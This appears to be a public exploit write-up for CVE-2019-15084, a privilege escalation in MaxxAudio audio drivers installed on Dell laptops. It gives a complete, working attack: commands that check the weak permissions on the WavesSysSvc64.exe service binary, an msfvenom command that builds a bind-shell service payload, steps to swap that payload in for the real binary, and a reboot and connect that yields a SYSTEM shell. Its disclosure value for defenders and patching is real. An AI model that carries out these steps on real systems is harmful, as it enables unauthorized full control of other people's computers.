72 lines
No EOL
2.8 KiB
Text
72 lines
No EOL
2.8 KiB
Text
# Exploit Title: MaxxAudio Drivers WavesSysSvc64.exe File Permissions SYSTEM Privilege Escalation
|
|
# Google Dork:
|
|
# Date: 2/18/2019
|
|
# Exploit Author: Mike Siegel @ml_siegel
|
|
# Vendor Homepage: https://maxx.com
|
|
# Software Link:
|
|
# Version: 1.6.2.0 (May affect other versions)
|
|
# Tested on: Win 10 64 bit
|
|
# CVE : CVE-2019-15084
|
|
|
|
MaxxAudio licenses their driver technology to OEMs and is commonly installed on Dell Laptops (and others) as part of other driver installations.
|
|
|
|
MaxxAudio drivers version 1.6.2.0 install with incorrect file permissions. As a result a local attacker can escalate to SYSTEM level privileges.
|
|
|
|
Dell PSIRT has acknowledged the issue and advises updating to a supported driver.
|
|
|
|
Proof of concept:
|
|
|
|
1. Validate incorrect permissions.
|
|
|
|
C:\Users\user> sc qc wavessyssvc
|
|
[SC] QueryServiceConfig SUCCESS
|
|
|
|
SERVICE_NAME: wavessyssvc
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 2 AUTO_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
|
|
LOAD_ORDER_GROUP :
|
|
TAG : 0
|
|
DISPLAY_NAME : Waves Audio Services
|
|
DEPENDENCIES :
|
|
SERVICE_START_NAME : LocalSystem
|
|
|
|
|
|
C:\Users\user>icacls "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
|
|
C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe Everyone:(I)(F)
|
|
NT AUTHORITY\SYSTEM:(I)(F)
|
|
BUILTIN\Administrators:(I)(F)
|
|
BUILTIN\Users:(I)(RX)
|
|
ACME\user:(I)(F)
|
|
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
|
|
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
|
|
|
|
Successfully processed 1 files; Failed processing 0 files
|
|
|
|
C:\Users\user>
|
|
|
|
2. Create payload
|
|
|
|
Create a service payload in msfvenom, transfer to victim:
|
|
|
|
# msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe-service -o service.exe
|
|
|
|
3. Overwrite file.
|
|
|
|
The file will be in use, you cannot directly overwrite. However you can move the file and replace.
|
|
|
|
C:\Users\user> move "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.bak"
|
|
C:\Users\user> copy service.exe "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"
|
|
|
|
4. Reboot the system. Then use netcat or telnet to connect back to 127.0.0.1:4444
|
|
|
|
C:\WINDOWS\SYSTEM32>whoami
|
|
whoami
|
|
nt authority\system
|
|
|
|
|
|
Additional information:
|
|
|
|
This file is embedded in Realtek audio drivers. Dell has since removed this version from their site but it appears to have been released in January 2017.
|
|
hash is as follows: cbd0c592c59db94d27ad89db2db7432c0c40db69198d9174eb1bb4bd04e12213 *WavesSysSvc64.exe |